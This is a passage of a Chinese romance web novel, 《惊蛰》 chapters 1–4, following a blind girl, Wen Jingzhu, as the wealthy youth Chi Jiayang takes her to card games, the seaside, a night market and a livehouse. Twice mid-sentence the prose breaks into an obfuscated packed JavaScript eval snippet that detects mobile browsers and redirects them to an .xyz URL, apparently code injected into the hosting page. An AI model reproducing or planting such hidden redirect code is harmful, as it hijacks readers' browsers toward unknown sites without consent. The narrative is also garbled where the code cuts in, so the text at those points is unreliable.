《惊蛰》 1. 梦中梦 上篇·暂寄梦中梦 * —【3月8日天气晴】— “来看看这是谁?这是一位新朋友,让我来给你们介绍一下——” “温惊竹,比我小一岁,以后就住在我们家。哦对,她眼睛看不见,你们别欺负她,但是从现在开始我打算到哪儿都带上她,她说她17年以来几乎没出过门。” “哈?” 迟嘉洋将温惊竹带进屋后,20%的独特淡雅熏香及80%的烟味霸道地闯入她鼻腔,因为如迟嘉洋所说,她确实什么都看不见,所以听觉与嗅觉都格外敏锐,平时基本通过这两处感官来判断周围的环境,她凭脚步声判断是三个人同时围上前来,两个男性异口同声:“你说什么?她看不见?” “对。”迟嘉洋非常笃定地说。 他不知道为什么有股骄傲的神气,任凭大家来细致观摩他所带来的这件“艺术品”。 因为温惊竹真的太像件艺术品了。 她安安静静地伫立在那儿,几个人惊奇地打量她:一头乌黑柔顺的长发,薄薄的空气刘海,皮肤白得像瓷娃娃,又仿佛半透明的,能隐隐看见底下的青色血管,尤其是那一双大眼睛,每眨一下时,长睫扑簌,只是眼神空洞,仔细看进去就觉得灰扑扑的…… “哎哟。”其中一个女生后退一步,好像觉得有点可怕。 “她怎么可能看不见?”她说着,温惊竹感受到面前一阵风,是那名女生用手在她面前扇过去所带出的,她迟钝地后退了一步。 “哎——”迟嘉洋对女生的这个行为表示不满,同时一手握成拳头,抵住了温惊竹后腰。 温惊竹又是整个人一僵。 也如迟嘉洋所说,她在之前的17年里几乎没出过门,被父母保护得很好。可这也让她那不断重复的6200多个日日夜夜如黑白灰一般单调无味,除了基本生活,她所不断重复的事有两件:听书,弹钢琴。唯一不重复的是书里的内容和钢琴的曲目。 从未有过如此别开生面的场景在自己面前展开,如同她几乎没有闻过的烟味,可那刺鼻得让人清楚不怎么好的味道一次性将她给泡了个透。 身后的手改握住她手臂,迟嘉洋将她往屋里带:“来吧,牌有没?” “嘿,就等你了!” 女生一蹦一跳的,温惊竹听到她头上发卡碰撞在一起的声音,在心里脑补出其大致形象。 其他两人随他们往里走,刚才到达目的地时,温惊竹坐在迟嘉洋的野马副驾驶上,听他介绍过:“我现在带你来的这个地方是我朋友开的一家剧本杀店,叫‘面剧’。” “面具。”温惊竹喃喃地重复。 她话很少。但每每她说完话,迟嘉洋都会不自禁停顿一下。 因为她说话的声音特别好听,有种不真实的感觉。 看吧,就是这么一个处处都完美的人,但老天爷不允许100%完美的人出现,于是剥夺了她的视力。可看不见也就算了,她那双眼睛同样美得不真实,让人感到讽刺。 “是‘面剧’。”他清楚温惊竹理解的意思,更正道,“‘剧本’的‘剧’。” 温惊竹点点头,懂了这个名字的创意。 此时有些刺耳的沙发挪动声响彻身前,屋里还坐了一个男的,此时三个男的在迟嘉洋的指挥下调整沙发布局——这里是海县,烟城下面的一个小县城,距烟城真正可以被称为“市里”的地方有一个多小时车程,而海县连像样的市中心都没有,勉强看得过去的几栋楼挨在一起就算是了,可那些楼都像上世纪遗留物,在这样的背景下,一座光辉熠熠的金店坐落在这条最“繁华”街道的最瞩目位置,就是迟嘉洋家的店。 迟家在海县是不折不扣的大户,在这种地方越小越是倚靠人情关系的环境里,迟父几乎与这里的每一位领导是哥们,迟家那座临海别墅就是他们常做客的地点。 听起来有点黑,但迟家是十分体面的,只是这层体面之下,是迟嘉洋那当惯了少爷的性格。他身边朋友都清楚他脾气,都顺着,这一点温惊竹已经感受出来了。 “好了。”其中一个男的说。 根据刚才声音,温惊竹判断出了被挪完的沙发的位置:他们在迟嘉洋要坐的沙发边上多加了一条沙发,意思是温惊竹坐在他身边,其余人匀开,保持出适当距离。 迟嘉洋握住温惊竹手臂,带她坐下。 “就不用给她介绍一下我们?”其中一个人说。听声音感觉他有些胖。 “哦。” 迟嘉洋跟他们一起洗牌,不慌不忙地介绍:“这位是叶盛斌,这个剧本杀店的老板。” 被cue到的人和温惊竹打个招呼:“嗨。” 温惊竹便循声音看过去,虽然是一片黄橙橙的模糊。 她并非完全看不见,而是只能看到一点光,但也局限于那样一片高度模糊了。 接着是那个似乎有些胖的男人,他叫“刘晓栋”,和另一个声音两分沙哑、感觉体型比较小的男人“林候”一样给大老板当司机,最后一名女生叫“仲晓雯”。 他们都爱抽烟,连仲晓雯都抽。按说这样一群吊儿郎当的人似乎不该成为迟嘉洋这位富家少爷的朋友,可温惊竹后来才知道,在海县这个地方,几乎所有人都是这样的。 “那我们叫她什么?她叫什么来着?”坐温惊竹另一边的仲晓雯发问。 “温惊竹。”迟嘉洋说,似乎也觉得这名字不怎么好记,“不过我已经给她起好了昵称:小竹子。你们干脆也这么叫好了。” “小竹子?好像个小太监的名字。”仲晓雯笑着说,这话不怎么中听,但下一秒她将一盒草莓放到了温惊竹手边,“来吧,小竹子,吃草莓。” “竹子吃草莓。”林候重复着她的话,笑了。 完整一副牌“啪”地一声扣到桌子上:“来吧。” 他们打起牌来像打仗。 此起彼伏的叫声在温惊竹身边响成一片,她处变不惊,慢慢地一口一口地吃着草莓——她也只能吃草莓了。 迟嘉洋将赢的筹码都放进她手里,说让她保管,他打牌也厉害,总是赢,好像在无形中向她炫耀他牌技。温惊竹有些用力地握着那些被撕成两半的纸牌,感受着它们边缘的粗糙,另一只手不停地往嘴里送草莓,以免自己坐得太像个木头人了,显得太茫然。 没一会儿迟嘉洋看到被她吃空的草莓塑料盒:“原来你这么喜欢吃草莓?” 温惊竹:“……” “猴子,你到底能不能打?”叶盛斌不知道第几次冲林候喊,因为林候已经数不清第几次说“不出”了:“不出”、“不出”、“不出”…… “就是!你手机里有花啊?”仲晓雯跟着喊。 “哎!我牌不好!”林候相当委屈地回喊,似乎还往后缩了缩。 “来,给我们看看,你到底是在跟哪个女的聊天呢?”刘晓栋起身,温惊竹听到他沙发后撤、摩擦地板所发出的刺耳响动,又听到一阵碰撞声,应该是他去抢林候的手机了。 根据他们描述,她脑补出刚才林候的形象:手里握着厚厚的一沓牌,总是“不出”、“不出”……另一只手则握着手机在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588689|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给别人疯狂发消息,如此敷衍的架势换了谁能不生气? “哎,哎……” 一阵打闹,没什么结果,只能说林候将手机保护得很好。 身边的迟嘉洋站起来,率先摔了牌:“这样还不如不打。” 温惊竹坐在位置上不知所措,仲晓雯跟上去:“那我们再干什么去呀?” 迟嘉洋下一秒就有了答案:“去海边逛逛。” “行。” 和迟嘉洋在一起就永远不愁没东西玩。他在这县城长大,最不缺的就是钱,有什么好玩的心里最清楚了。这会儿他说走就走,这一众人也立刻跟着,除了林候说:“那我先撤?” 迟嘉洋大概给了他一个眼神,他便笑嘻嘻地走了。迟嘉洋才想起温惊竹似的,回到她身边,好笑说:“身边突然多了一个人还不太习惯呢。” 温惊竹有些茫然,直到迟嘉洋的手握上她手臂。 她有了指引,随之起身,仲晓雯在一旁看着问他:“她不会用拐杖吗?” “嗐……人家是爸妈从小惯着长大的,走路专门有人扶,出门都是坐车的。” “哦。”温惊竹感受到仲晓雯上下打量自己的眼神,有些东西闻不到摸不着,却是可以凭直觉感受出来的,“那她之前是哪儿人?” “烟城的。” “哦。” 刘晓栋有一辆白色SUV,他们三人上了那辆车,温惊竹坐上迟嘉洋的副驾。他用友情提示的声音说:“安全带系好哦。” 去海边的路上,他不出所料又开始飙车了。但凡有机会他便将油门踩到死,于是温惊竹会体验到那所谓的“推背感”。如果她坐过游乐园中的各种刺激项目,那么她会发现,现在还有一种叫“失重感”的东西,和玩那些项目时的感觉一样。 很刺激,很爽。 她心脏怦怦跳。 到海边时双脚重新落地,咸而潮湿的海风落在身上,很舒服。 他们提到烟城时都是指市里,毕竟严格来讲海县也属于烟城。烟城也有海边,所以温惊竹对于这样的环境很熟悉,迟嘉洋再握着她手臂走就不太方便了,他看着她略一思索,问:“是你抓着我袖子,还是我抓着你袖子呢?” 温惊竹想了想,说:“我拽着你好了。” 迟嘉洋又沉默一会儿。 然后说:“真有意思,有时候总觉得你好像不会说话,但你其实是会的。” 温惊竹不知道回什么。 叶盛斌等三人找了过来,五人开始沿海边漫步。温惊竹左手捏着迟嘉洋外套的袖子,因为他们走得还是有些快,所以她扯得很紧。仲晓雯在她的另一侧前面蹦蹦跳跳。 他们谈论着之前赶海的事,迟嘉洋似乎对这件事特别着迷,感叹:“不知道什么时候才能去抓小龙虾。” 仲晓雯脚步忽然停,“嘿”了一声,温惊竹下一秒被她给绊倒向前。 目睹了一切的迟嘉洋立刻侧身将温惊竹抱住,于是温惊竹之前闻到的他身上的香气在这一刻极其浓烈。 与他本人骨子里的张扬跋扈极其不同,那是一种非常淡雅的香,一种配合他柔软的外套料子、让她在那一刻很想直接睡在他怀里的香,这场恶作剧的始作俑者——仲晓雯大笑着跑远了。 “我真是……” 迟嘉洋将温惊竹扶正。 一行人继续走,叶盛斌说:“龙虾至少得五月份才出来吧?” 温惊竹很害怕被他们看到自己嘴边的笑,可那嘴角怎么压都压不住。 她本应该生气来着,这太矛盾了。 2. 梦中梦 在海边走了一圈,五人回到各自的车上分道扬镳。温惊竹已经熟悉了迟嘉洋这辆野马启动时所发出的轰鸣,他们重新上路,迟嘉洋这会儿却开得慢慢悠悠,冷不丁冒出一句:“温惊竹,我饿了。” 她有点疑惑地歪了歪头。不怎么习惯说话的她也没有接话。 “我想去吃红烧肉,走!” 说罢一个极速的掉头。 他总是这样自由随性,说什么事下一秒就去做了。 温惊竹随着这样一个急转弯而重心失衡,没多久到达了迟嘉洋想吃饭的地方,他停稳了车,给温惊竹开车门、扶她下车,笑道:“哎,你有没有觉得我这样特别像你的仆人?” 温惊竹有些不好意思。 磕磕绊绊地进了饭店,听到不断往玻璃缸中打氧气的声音,应该是陈列着鲜活的水产品,老板娘热络的招呼声在这室内有轻轻的回响,因此温惊竹判断这是个挺大的饭店,只是时间较晚,吃饭的人不多,不怎么喧闹,迟嘉洋找了个位置坐下。 他点了两碗米饭、一道红烧肉和一道白灼菜心,接下来是安静的等待时间。温惊竹想象对面的迟嘉洋应该在玩手机。 等菜的时间不长,菜上齐后迟嘉洋多要了一只小碗,将两样菜都拨进去一小半,方便温惊竹夹。 温惊竹其实不怎么饿,这次出门前已经在迟家吃过饭了,她饭量也很小。 她吃得很慢,两人都很安静,这家的红烧肉发甜,的确很特别,很好吃,忽然听迟嘉洋说:“谢谢你啊!现在有人能陪我一起吃饭了。” 那一刻温惊竹忘了该如何咀嚼。 她仍不作声,第一次听闻别人对自己说这样的话,于是受宠若惊。 当晚回家,迟阿姨已经快睡了,但听到响动后从二楼下来,问道:“嘉洋,你今晚都带惊竹去哪些地方玩啦?” “就去和几个朋友玩了玩。”迟嘉洋给温惊竹摆着拖鞋,答,“晚上又饿了,就去吃了点饭。” “嗯。惊竹之前每天都弹琴,已经考过十级了。我这几天给惊竹看了几位钢琴老师,可惜海县水平高的钢琴老师真不多,明天先请一位来看看。” “十级?”迟嘉洋有些惊讶地看向温惊竹。 温惊竹还是那么波澜不惊,站在那里,甚至显得有些茫然。 好像与整个世界都隔着一层膜,各种信息会因为这层膜而晚一步被她所接收到,实际是她不知该如何回应外界对她所投射而来的各种情绪。 “是啊。”迟夫人淡淡地说,“谁像你,一天到晚地不学无术?” * —【3月9日钢琴老师】— 迟家最不缺的就是钱,尤其在海县,房价低到离谱,即使满足了极高的生活需求,剩余的流动资金也足够他们用来在其他各方面挥霍了。 程老师是迟夫人目前能找到的最好的钢琴老师。 她四十岁左右年纪,不定时在烟城教课,因为是海县人,所以没有课时会回到海县。 给温惊竹试课的第一天,迟夫人和迟嘉洋在旁边观看——这天是周六,迟嘉洋不用上课。迟夫人非常满意,看了半小时后带迟嘉洋离开这三楼,说:“不打扰程老师和惊竹了。” 待两人离开,温惊竹才听程老师笑眯眯说:“听迟夫人说你刚来海县生活,是不是还没有适应?今天弹琴是不是有点紧张?” 温惊竹想了想,有些不好意思地点点头。 其实不是这样的。 在这看不见事物的17年里,她触碰到钢琴就像触碰到自己身体的一部分一般熟悉,何况这架钢琴是从她烟城的家里搬过来的。就算她曾经高烧到晕晕乎乎,手指触上琴键的一瞬间,还是能流利地弹出一曲《彩云追月》。 似乎是因为昨天发生的事。 昨天发生的事太多,以致她昨晚都没有睡好。躺在那柔软的大床上,即使是一间新屋子,床单与被子上似乎都还有迟嘉洋身上那种淡淡的香气,或许是他们家这整座屋子里都有?似有若无的。 当她的手放上琴键,开始弹奏,心里就好像有一只小锤子开始胡乱敲打,敲乱她所有节奏。 所以手指绷得紧紧,感觉怎样弹都弹不流畅,迟夫人与迟嘉洋都是外行,听她弹那些难度颇高的曲目只觉得厉害,听不懂其中名堂。 “没关系,我知道你的水平其实很高,我们慢慢来,慢慢适应。” 程老师一走,吃过晚饭,迟嘉洋立刻带温惊竹杀向剧本杀店。 昨天的人除了林侯都在,迟嘉洋问:“林侯呢?”叶盛斌似乎是倚在吧台处,懒懒地说:“不知道。” 迟嘉洋也不过随口一问,下一秒就开始问他们哪里有钢琴。 一番激烈的争论,叶盛斌和刘晓栋都被他逼得嗷嗷大叫:“我的祖宗,这个点儿我们到哪儿去给你找钢琴啊?” 迟嘉洋也无奈放弃了:“那算了!反正我跟你们说,我们小竹子弹钢琴可厉害了,十级,你们听不到是你们的损失!” 温惊竹听到其他人一阵低笑。 不知道为什么,连她都跟着有点脸红。 “走,”迟嘉洋直接拉住她手,“我们去买草莓吃。” * —【3月16日至3月17日周末烟城】— 迟嘉洋提前从他老妈那儿打听好了,程老师这个周末不在海县,温惊竹没有课,所以他说他要带温惊竹去烟城玩一个周末。 迟夫人听后有些犹豫,但还是询问了温惊竹意见,温惊竹点点头,好像也很愿意,她便不干涉了:“去吧,但千万千万千万注意安全。” “放心吧,妈。” 周六的傍晚,迟嘉洋开车带温惊竹出发。近一个小时的高速路,他放着歌,温惊竹一言不发,却在副驾驶位上窝得很舒服。 迟嘉洋忽然问:“温惊竹,你有没有去过酒吧?” “酒吧?” 如此灯红酒绿的两个字,从她口中轻轻吐出来,仿佛什么她所没去过的天上宫阙。 实际温惊竹很清楚那是什么样的地方,可以被简单粗暴地归纳为——不好的地方。 正因她特殊,看不见东西,她爸妈便格外注重对她的保护教育,让她有这类意识。可现在是和迟嘉洋一起去,应该就不那么可怕了吧。 叶盛斌、刘晓栋、仲晓雯和林侯,包括迟嘉洋在内,他们都抽烟,感觉有点不务正业,不是正统意义上的好人,但又绝对没有骨子里的坏,对她也还可以。 这是温惊竹第一次接触到一个生动的世界后,第一次有了一切不是非黑即白的判断。 “是这样的,”迟嘉洋说,“我有个哥们,之前也是海县人,现在在烟城做事,我想顺便来看看他,我们晚上一起去酒吧听听歌吧,我先带你去吃点东西。” 温惊竹点点头,应:“好。” “这里是一片古风建筑的商业街哦。”停下车后,迟嘉洋向她介绍,“人太多了,如果我直接拉你的手的话 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他们走在巨大石板铺成的路上,温惊竹时不时会被周围人蹭到。由此判断,这里真的是一个人流很密集的地方,而从前她爸妈是绝不会带她来这种地方的。 她思索片刻,说:“我当然知道。” “哦?” 迟嘉洋难得看她这么肯定,她现在应该很开心吧? 也是,17年都没怎么出过门啊……而他高中还没毕业,已经快把海县和烟城给玩透了,旅游是必不可少的,国也出过。 这会儿不免有点同情起这个比自己矮上一截的瓷娃娃了,虽然自己带她出来她仍旧什么都看不见,他又奇怪:“你怎么会知道古代的建筑是什么样?” 温惊竹思索半晌,没想到她直接开始背起古文来:“临帝子之长洲,得天人之旧馆。层峦耸翠,上出重霄;飞阁流丹,下临无地。鹤汀凫渚,穷岛屿之萦回;桂殿兰宫,即冈峦之体势。” “停停停。不知道还以为我带你去什么地方了。” 走了一会儿,他说:“没那么壮观。那你知道现在城市里的楼都是什么样的吗?” 温惊竹想了想,并没想到什么合适的形容,只想到一些成语,譬如“高楼林立”、“钢筋水泥”、“钢铁森林”……钢铁和水泥,都是些冰凉的东西,迟嘉洋告诉她:“城市里都是些很高很高的楼,灰色的,黑色的,但是上面都有光,有的是从窗户里透出的白色或黄色的光,有的是整座楼都变成一座彩色的广告牌了。” 说着说着,他也不知道自己为什么对温惊竹说这么多。说这么多,她能想的出来吗? “最主要是,”他清了清嗓子,“这一片商业街在市中心,市中心知不知道?寸土寸金。但这条街两边的房子很矮,都是木头做的,是不是很有意思?” 说完他自己都笑了。 温惊竹不知道怎么,也跟着笑。 “你喜欢吃什么呢?我真不知道该带你吃什么了。”迟嘉洋左右看看。 “都可以,我不挑的。”温惊竹说,“除了葱、姜、蒜、香菜、青椒……” 她开始列举时一本正经,一个词一个词地往外蹦,迟嘉洋愣了愣:“好了好了,停停停,我明白了,你不喜欢吃所有有刺激性味道的食物。” 温惊竹想了想,点点头,原来自己的这些忌口可以被概括为“所有有刺激性味道的食物”。 她竟然对迟嘉洋有些崇拜了。 3. 梦中梦 先经过一处用喇叭叫得很卖力的糕点铺子,迟嘉洋问她想不想吃,可她也不知道是什么味道,于是靠上前,站了一会儿。 迟嘉洋以为她在思考,其实是她不好意思表现出自己在闻味道,各种淡雅的香交织在一起,其中最突出的是一股桂花香,她点了点头。 糕点收入囊中,迟嘉洋也没具体问她要什么样子的,感觉问了也白问,于是什么样都来上一两个,然后带她进了一家店,要了份很有特色的海胆水饺。 “咚”一声,是碗落在木制桌面上的声音,老板粗犷的声音道:“慢用。” 迟嘉洋就要了一碗。 他递给温惊竹一只勺子,勺子挺大,设计得刚好盛得下一只水饺,但温惊竹不知道烫不烫,小心翼翼地将勺子靠近嘴边,迟嘉洋说:“你吃一个就好了。” 她动作停住,不知道为什么这样,迟嘉洋之前不这么小气的。 他接着说:“我们还要吃很多东西,吃多了就没肚子吃其他的了,所以我觉得你吃一个就别再吃了。” OK,原来还是那派熟悉的少爷调调,温惊竹笑了,将饺子送到嘴边咬了口,不是很烫,很奇特的味道。迟嘉洋看她笑了又觉得她今天心情的确挺好。 桌面上一阵“窸窸窣窣”的响动,迟嘉洋拆了之前买的糕点的包装,看温惊竹吃完一只海胆饺子,将饺子的碗与这些糕点置换位置:“来,再尝尝这些。” “哦对了,我想起来旁边商场的夜市里有一家小笼包特别好吃,还有一家台湾肉肠,一会儿就去吧。” 他三下五除二地打扫掉剩余的水饺,带温惊竹继续走,并且是拉着她的手继续走,这样温惊竹就会走得比平时快些。 到了附近那家商场底下的夜市,这里环境更加杂乱,温惊竹不知道是从未走过这么多路还是因为人多怕走散,握迟嘉洋的手有些紧,都出了汗。 她触觉很敏感,怕他介意,但他好像完全不介意,吃了想吃的东西,哪怕都只吃了一点点温惊竹也饱了。他又带她进商场,变成了有空调、空气清新的宽敞环境,他给她买了杯奶茶,握着那因为冰凉而外壳凝上层水珠的纸杯,温惊竹有些迟疑:“喝这个,是不是不太好?” 迟嘉洋听闻后有些惊愕:“为什么?” “因为……” 温惊竹思索着,也思索不出个所以然。 而她思索的样子又特别好看,瞪着那双实际并不能看见任何东西的漂亮眼睛,睫毛很像一张经典图片里小猫的睫毛:一只小猫盯着蝴蝶,从侧面看去,那睫毛又长又翘的,翘起的弧度也刚刚好。 “我知道,是你爸妈告诉你的,对不对?”迟嘉洋一下子猜中,他似乎已经从温惊竹的各种反应中推测出了她爸妈对她的教育模式,“但是没事的,小竹子,喝多了当然不算太健康,可你连喝都没喝过,试这么一杯是不会有关系的。” “也是。” “这感觉,怎么好像是我在劝你喝毒药呢?”迟嘉洋看了看表,“时间差不多了,我们去斑马。” “斑马”是那家livehouse的名字。 温惊竹一边跟迟嘉洋往停车的地方走,一边有些笨拙地将奶茶吸管送入口中,吸上一口,甜腻而浓稠的口感顿时让她不自觉感到快乐。 这种过分甜美到不真实的东西确实像一层糖衣,因为看似完美便让人觉得危险,或许真如父母所说的“不太健康”,所以她并没有因此而上瘾并打算以后常喝,而是很珍惜地时不时抿着这杯里的一点。 上了车,迟嘉洋看着她双手捧杯的模样:“怎么样,我是不是没有骗你?” 温惊竹点头。 “好,那我们去斑马。” 抵达目的地,经过前台时听闻一女声问:“您好,请问有预定吗?” 迟嘉洋从温惊竹身后扶住她双肩,带她走过了一道安检门。如果安检门能测出心跳,一定会发现她那颗心脏正“扑通扑通”地跳得厉害,因为她想象不出,周围人发现她是个盲人的话会觉得多么搞笑——盲人来酒吧玩。 进入室内,又是那烟味,但不浓,感觉整个屋子的空气都在颤动。因为音乐,因为酒精,因为尼古丁,因为俊男靓女们言笑之间的撩拨。 迟嘉洋带温惊竹在位子上坐下,温惊竹扶了把身前的桌沿,冰凉,有些高,是个不大的方桌,已经在对面坐下的男生声音粗粗的:“哈喽啊,洋哥!啊这位是……” “朋友,叫‘小竹子’。” 迟嘉洋在她身边的位子坐下。 “噢,噢,喝点什么?” 对面似乎也是个没什么正形的人,话题虽变了,温惊竹却凭直觉感受到他那在自己身上上下逡巡的眼神——是啊,多么奇怪,堂堂迟家大少爷怎么开始带着个什么都看不见的女生出来玩了? 他们点了很多酒与吃的,但酒水里只有一瓶无酒精的属于迟嘉洋,或许是因为要开车吧。 一段时间的点歌预热后,台上的表演开始了。 温惊竹几乎一动不动,听着那振奋激昂的音乐前奏,声音大到能牵动心脏,随后一位驻场女歌手演唱《信仰》。开头低低絮语,逐渐感情爆发:“我爱你,是多么清楚多么坚固的信仰;我爱你,是多么温暖多么勇敢的力量……” 温惊竹有些入神,这和曾经在耳机里听到的效果完全不一样,她好像被现场的声场给完全包绕了。 在她像个木头人时,眼前不断传来开瓶器撬开瓶盖的声音、厚重的玻璃瓶底撞击桌面的声音,她在心里计算着对面男人在短时间内就这样“咕嘟咕嘟”地两瓶酒下肚了,身边又响起迟嘉洋笑着的声音:“怎么了?你被点穴了?” 是在问她。 她才动了动,恰好“啪”一声轻响,服务员将他们点的薯条放到桌子上,迟嘉洋顺势把薯条推到她面前:“你尝尝这个吧。” 温惊竹开始缓慢地动作,薯条边还放着她那杯没喝完的奶茶。 “唉,这是从来没来过酒吧吧?”对面的男人笑,“洋哥,真亏你想得出来,不过你是什么时候开始好这口的?” “范强。”迟嘉洋制止了他的口无遮拦,又对温惊竹说,“忘介绍了,这就是我说的那位朋友,范强。” 温惊竹面对着范强方向,没有言语,似乎因为他刚才的话而有些介怀。 范强笑了几声:“我说,洋哥,你也找个妞来陪我啊?” “真的?” “真的。” “那我真给你叫了?叫来了你可别怵。” 范强干笑两声:“怎么会?” 温惊竹由此判断,范强应该是个条件不太好的男生,大概率是外形不怎么样,根据她的经验,从声音听上去他体型偏胖,偏矮,懒散,或许还很邋遢。但迟嘉洋还是在微信上帮他联系了。 几首歌过去,一个娇滴滴的女声:“嗨——”在一派嘈杂中由远及近,然后是迟嘉洋另一边椅子挪动的声音,她在迟嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588691|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋与范强之间坐下了。 “哟,这么多酒呐。”甜腻腻的声音说道。 根据这个声音,温惊竹脑补出一个性感火辣的女人形象。而这类女人在她所听的小说中都很受男人欢迎,并且很容易与他们打成一片,不过她似乎比他们都大,或许是二十出头的年龄。 迟嘉洋应该与她很熟,说话时也是带笑的,他多半是指了一下对面的范强或只是扬了一下下巴示意:“都是他喝的。” 女人看过去:“哟。” 尾音渐落下去,她似乎对范强并不感兴趣。 “咔”的一声,范强又麻利地撬开个瓶盖,“咕嘟咕嘟”地灌酒,温惊竹听见他喉咙里传出的挺大的响动。女人又转过来,凑近了和迟嘉洋说话:“唉呀,洋洋,你今天怎么这么有闲情逸致来烟城玩了呀?” 嗲嗲的声音后,她才注意到温惊竹,可能是愣住了,迟嘉洋和她解释:“她看不见。” “啊……” “一直?” “嗯。” 一阵香气慢慢悠悠地飘到面前来,女人更靠近了。 确定温惊竹确实看不见,她盯着温惊竹那惊为天人的模样有些可惜。 可怎么说呢?就像断臂的维纳斯,如果是完整的就太不真实,有了恰到好处的残缺反而让人看着心里泛起一阵阵涟漪,想到这里她也觉得自己这想法太过傲慢,笑着对温惊竹说:“小妹妹,你第一次来酒吧呀?” 温惊竹不答,迟嘉洋回的:“废话。” “唉呀,迟嘉洋怎么这么坏呀?怎么可以带你来酒吧?”一阵“咯咯咯”的笑。 “对了,你是不是都不知道迟嘉洋长什么样子?他可是我们公认的帅哥,以前经常来烟城玩,就喜欢泡吧,一泡吧就叫我们一起,可受大家欢迎了。”柔软细长的手下一秒抓起温惊竹右手,那长长的指甲还不小心划了温惊竹一下,“你摸摸。” 她把温惊竹的手放到迟嘉洋脸上。 温惊竹一下子窒息了。 她整个人僵硬住,手指与手臂的关节、肌肉究竟该如何配合着运作好像都完全不知晓了。 可指腹处传来迟嘉洋面颊上光滑的触感,内心里那股强大的力量驱使她继续摸了下去,她心脏好像在体内扩张到无限大,那么强烈的心跳,“咚咚咚”,震得她整个人发麻,远盖过这室内夸张的乐声:“是否说爱都太过沉重,过度使用,不痒不痛……” 她手指缓慢地横向移动,一个仍旧光滑的凸起,是迟嘉洋的鼻梁,她紧张得飞快掠过,却碰到那个女人正摸着迟嘉洋另一边脸的手。 “……烧得火红,蛇行缠绕心中,终于冷冻终于有始无终。” 她心脏猛地一缩,手快速收回。 女人笑吟吟的:“怎么样?你能摸出来迟嘉洋长什么样子吗?” 温惊竹转回去坐着,摇了摇头。 她情绪低迷,可她那张一向平静的脸上看不出任何。 “唉呀,反正是帅的啦。”女生说着,迟嘉洋再一次提到对面的范强:“对了,这位也是我朋友,之前海县的,现在也在烟城,你们两个认识认识?” “哦?” 女生似乎不太情愿,才明白迟嘉洋叫她来的真正意图:不是迟嘉洋想见她,而是想让她陪陪他朋友。 她懒懒地一掀眼皮,压根就看不上水桶般很敦实地坐在那儿的范强,这样轻蔑的神情在晦暗的灯光下不太明显:“那我也喝几杯咯。” 4. 梦中梦 她同样“咕嘟咕嘟”地灌了几瓶酒,算是给了迟嘉洋面子,尽了意思,很快就离开了。 桌上又恢复三人,明显安静不少。 “小竹子,你听。”迟嘉洋忽然说,好像发现了什么新奇的东西。 温惊竹本就听得认真,迟嘉洋这么一说她更是打起十二分精神。 台上歌手仍唱得卖力,在唱的是周杰伦的《黄金甲》,同样做了改编,两位男歌手在舞台上气势如虹,唱完了“如空如空如空”,下一句“血染盔甲,我挥泪杀”出来的同时,场内“砰”的一声巨响,温惊竹被吓得失了神,定格两秒,然后她几乎被纸花给淹没了。 柔柔软软的纸,落了满身,不知道下一秒会有哪一片落到自己身上的哪个地方,还有点痒。当某一片纸蹭过她面颊时,她没忍住笑了,迟嘉洋也在她身边笑了:“小竹子,满天都是红色的纸!可漂亮了!” 时间过了零点,范强走了,迟嘉洋给温惊竹点了一首歌。 回春丹的《鲜花》,由一位男驻场歌手演唱。如果刚才迟嘉洋说“你听”时她打起了十二分精神,那么听这首歌时,她屏蔽掉整个世界,不肯放过其中的每一个字:“我的心啊,我的心啊,整栋出租,处处都给你……种好的鲜花……” 这么多人,这么多首歌,可是在这一年的这5分41秒里,这首歌是独属于她的。 …… 晚上到了民宿后有点尴尬。 扶温惊竹上楼的时候,迟嘉洋慢吞吞地说:“对不起,小竹子,说带你出来过周末时我没仔细考虑过住宿的事,本想订酒店,总觉得酒店能舒服干净些,但是双床房不合适,大床房更不合适,两个单人间又怕你发生什么意外,最后想想还是民宿吧,咱俩一人一个房间,你有事叫我时我也能听见,你觉得呢?” 温惊竹点头。 “那我带你熟悉一下你的房间。” 他带温惊竹进去,走了一圈,让她摸过每一样物品的位置:“你能记住吗?要不要再熟悉一遍?” 温惊竹点头又摇头,分别回答了迟嘉洋的两个问句,可这样太滑稽了,她不得已开口说:“我能记住。” 这也算是她必备的生活技能之一。 “啧,真厉害。”迟嘉洋由衷地感叹。 “行,那我先出去了,你早点休息,有什么事喊我我就能听见。” “好。” 温惊竹答应完,迟嘉洋看了她一会儿。 带她出来倒不算太麻烦,可也免不了有不太方便的地方。他这会儿在思考的问题是:他真没见过温惊竹大声说话的样子,更别说大声喊他了,她总是闷闷的,像只小兔子——兔子不会叫,特别能忍,所以她如果真大声喊他的时候会是什么样子呢? 算了,还是别了,他也不想她真出什么意外。 这么想着,他缓缓退出了温惊竹的房间。 第二天,他带温惊竹去烟城的著名景点——黑山岛转了一圈,也没什么好玩的,无非是开车兜风。 车里放着歌,相比前一晚在酒吧里听的歌舒缓极了,一开始他会给她描述周围的情景:“现在我们在一个长坡上,下去就能看见海。” 身旁传来车窗降下的声音,接着是鼓进来的海风,吹得温惊竹头发一下子在车内飞舞起来。可是很舒服,有时她这面朝阳时可以感受到投射在身上的暖暖的阳光,厚厚的一层,虽然时属三月,北方不算温暖,这个下午却是个十足的艳阳天。 后面迟嘉洋就不说话了,在岛上兜了几圈,回海县。 刚下高速路时路过个水果棚子,他下车买了袋草莓。 回到迟家的别墅,仿佛一场盛大的梦终于落下了帷幕。 * —【4月2日生日】— 